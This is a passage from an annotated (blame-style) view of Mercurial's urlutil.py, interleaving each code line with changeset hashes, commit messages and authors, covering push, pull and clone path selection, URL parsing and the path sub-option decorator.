1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49808
diff
changeset
|
513 yield path.get_push_variant() |
46909
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
514 |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
515 |
48252
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48251
diff
changeset
|
516 def get_pull_paths(repo, ui, sources): |
46910
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
517 """yields all the `(path, branch)` selected as pull source by `sources`""" |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
518 if not sources: |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
519 sources = [b'default'] |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
520 for source in sources: |
46962
afdd7c472ef2
urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46940
diff
changeset
|
521 if source in ui.paths: |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
522 for p in ui.paths[source]: |
48252
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48251
diff
changeset
|
523 yield p |
46962
afdd7c472ef2
urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46940
diff
changeset
|
524 else: |
48251
08630dd719f9
path: unify path creation in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48250
diff
changeset
|
525 p = path(ui, None, source, validate_path=False) |
48252
607e9322fc89
path: return path instance directly from get_pull_paths
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48251
diff
changeset
|
526 yield p |
46910
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
527 |
df7439cc6806
urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46909
diff
changeset
|
528 |
46940
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
529 def get_unique_push_path(action, repo, ui, dest=None): |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
530 """return a unique `path` or abort if multiple are found |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
531 |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
532 This is useful for command and action that does not support multiple |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
533 destination (yet). |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
534 |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
535 The `action` parameter will be used for the error message. |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
536 """ |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
537 if dest is None: |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
538 dests = [] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
539 else: |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
540 dests = [dest] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
541 dests = list(get_push_paths(repo, ui, dests)) |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
542 if len(dests) != 1: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
543 if dest is None: |
47417
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
544 msg = _( |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
545 b"default path points to %d urls while %s only supports one" |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
546 ) |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
547 msg %= (len(dests), action) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
548 else: |
47417
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
549 msg = _(b"path points to %d urls while %s only supports one: %s") |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
550 msg %= (len(dests), action, dest) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
551 raise error.Abort(msg) |
46940
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
552 return dests[0] |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
553 |
368294967c95
urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46936
diff
changeset
|
554 |
49834
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
555 def get_unique_pull_path_obj(action, ui, source=None): |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
556 """return a unique `(path, branch)` or abort if multiple are found |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
557 |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
558 This is useful for command and action that does not support multiple |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
559 destination (yet). |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
560 |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
561 The `action` parameter will be used for the error message. |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
562 |
49834
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
563 note: Ideally, this function would be called `get_unique_pull_path` to |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
564 mirror the `get_unique_push_path`, but the name was already taken. |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
565 """ |
49833
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
566 sources = [] |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
567 if source is not None: |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
568 sources.append(source) |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
569 |
49834
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
570 pull_paths = list(get_pull_paths(None, ui, sources=sources)) |
49833
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
571 path_count = len(pull_paths) |
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
572 if path_count != 1: |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
573 if source is None: |
47417
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
574 msg = _( |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
575 b"default path points to %d urls while %s only supports one" |
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
576 ) |
49833
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
577 msg %= (path_count, action) |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
578 else: |
47417
515014d72aa2
urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents:
47416
diff
changeset
|
579 msg = _(b"path points to %d urls while %s only supports one: %s") |
49833
9f249dee8ce8
path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49832
diff
changeset
|
580 msg %= (path_count, action, source) |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
581 raise error.Abort(msg) |
49834
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
582 return pull_paths[0] |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
583 |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
584 |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
585 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
586 """return a unique `(url, branch)` or abort if multiple are found |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
587 |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
588 See `get_unique_pull_path_obj` for details. |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
589 """ |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
590 path = get_unique_pull_path_obj(action, ui, source=source) |
f4626b74b941
path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49833
diff
changeset
|
591 return parseurl(path.rawloc, default_branches) |
46936
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
592 |
1998a8311c48
urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46934
diff
changeset
|
593 |
49852
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
594 def get_clone_path_obj(ui, source): |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
595 """return the `(origsource, url, branch)` selected as clone source""" |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
596 if source == b'': |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
597 return None |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
598 return get_unique_pull_path_obj(b'clone', ui, source=source) |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
599 |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
600 |
49851
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49850
diff
changeset
|
601 def get_clone_path(ui, source, default_branches=None): |
49850
afcf59039b5d
path: clarify document of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49834
diff
changeset
|
602 """return the `(origsource, url, branch)` selected as clone source""" |
49852
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
603 path = get_clone_path_obj(ui, source) |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
604 if path is None: |
53ad92b20556
path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49851
diff
changeset
|
605 return (b'', b'', (None, default_branches)) |
49851
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49850
diff
changeset
|
606 if default_branches is None: |
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49850
diff
changeset
|
607 default_branches = [] |
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49850
diff
changeset
|
608 branches = (path.branch, default_branches) |
ffe8dd945f19
path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49850
diff
changeset
|
609 return path.rawloc, path.loc, branches |
46934
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
610 |
ebb13f9a9ba8
urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46928
diff
changeset
|
611 |
46908
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
612 def parseurl(path, branches=None): |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
613 '''parse url#branch, returning (url, (branch, branches))''' |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
614 u = url(path) |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
615 branch = None |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
616 if u.fragment: |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
617 branch = u.fragment |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
618 u.fragment = None |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
619 return bytes(u), (branch, branches or []) |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
620 |
4452cb788404
urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46907
diff
changeset
|
621 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
622 class paths(dict): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
623 """Represents a collection of paths and their configs. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
624 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
625 Data is initially derived from ui instances and the config files they have |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
626 loaded. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
627 """ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
628 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
629 def __init__(self, ui): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
630 dict.__init__(self) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
631 |
47283
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47198
diff
changeset
|
632 home_path = os.path.expanduser(b'~') |
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47198
diff
changeset
|
633 |
47284
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
634 for name, value in ui.configitems(b'paths', ignoresub=True): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
635 # No location is the same as not existing. |
47284
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
636 if not value: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
637 continue |
47283
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47198
diff
changeset
|
638 _value, sub_opts = ui.configsuboptions(b'paths', name) |
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47198
diff
changeset
|
639 s = ui.configsource(b'paths', name) |
47284
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
640 root_key = (name, value, s) |
47283
a671832a8e41
urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47198
diff
changeset
|
641 root = ui._path_to_root.get(root_key, home_path) |
47284
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
642 |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
643 multi_url = sub_opts.get(b'multi-urls') |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
644 if multi_url is not None and stringutil.parsebool(multi_url): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
645 base_locs = stringutil.parselist(value) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
646 else: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
647 base_locs = [value] |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
648 |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
649 paths = [] |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
650 for loc in base_locs: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
651 loc = os.path.expandvars(loc) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
652 loc = os.path.expanduser(loc) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
653 if not hasscheme(loc) and not os.path.isabs(loc): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
654 loc = os.path.normpath(os.path.join(root, loc)) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
655 p = path(ui, name, rawloc=loc, suboptions=sub_opts) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
656 paths.append(p) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
657 self[name] = paths |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
658 |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
659 for name, old_paths in sorted(self.items()): |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
660 new_paths = [] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
661 for p in old_paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
662 new_paths.extend(_chain_path(p, ui, self)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
663 self[name] = new_paths |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
664 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
665 |
52670
4cb75772818d
pyupgrade: drop the quoting around type annotations
Matt Harbison <matt_harbison@yahoo.com>
parents:
52665
diff
changeset
|
666 _pathsuboptions: Dict[bytes, Tuple[str, Callable]] = {} |
50401
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50246
diff
changeset
|
667 # a dictionnary of methods that can be used to format a sub-option value |
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50246
diff
changeset
|
668 path_suboptions_display = {} |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
669 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
670 |
51730
a09435c0eb14
typing: add a few type hints to `mercurial/utils/urlutil.py`
Matt Harbison <matt_harbison@yahoo.com>
parents:
51304
diff
changeset
|
671 def pathsuboption(option: bytes, attr: str, display=pycompat.bytestr): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
672 """Decorator used to declare a path sub-option. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
673 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
674 Arguments are the sub-option name and the attribute it should set on |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
675 ``path`` instances. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
676 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
677 The decorated function will receive as arguments a ``ui`` instance, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
678 ``path`` instance, and the string value of this option from the config. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
679 The function should return the value that will be set on the ``path`` |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
680 instance. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
681 |
50401
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50246
diff
changeset
|
682 The optional `display` argument is a function that can be used to format |
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50246
diff
changeset
|
683 the value when displayed to the user (like in `hg paths` for example). |
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50246
diff
changeset
|
684 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
685 This decorator can be used to perform additional verification of |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
686 sub-options and to change the type of sub-options. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
687 """ |
50932
35885dbdc927
path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50931
diff
changeset
|
688 if isinstance(attr, bytes): |
35885dbdc927
path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50931
diff
changeset
|
689 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`' |
51180
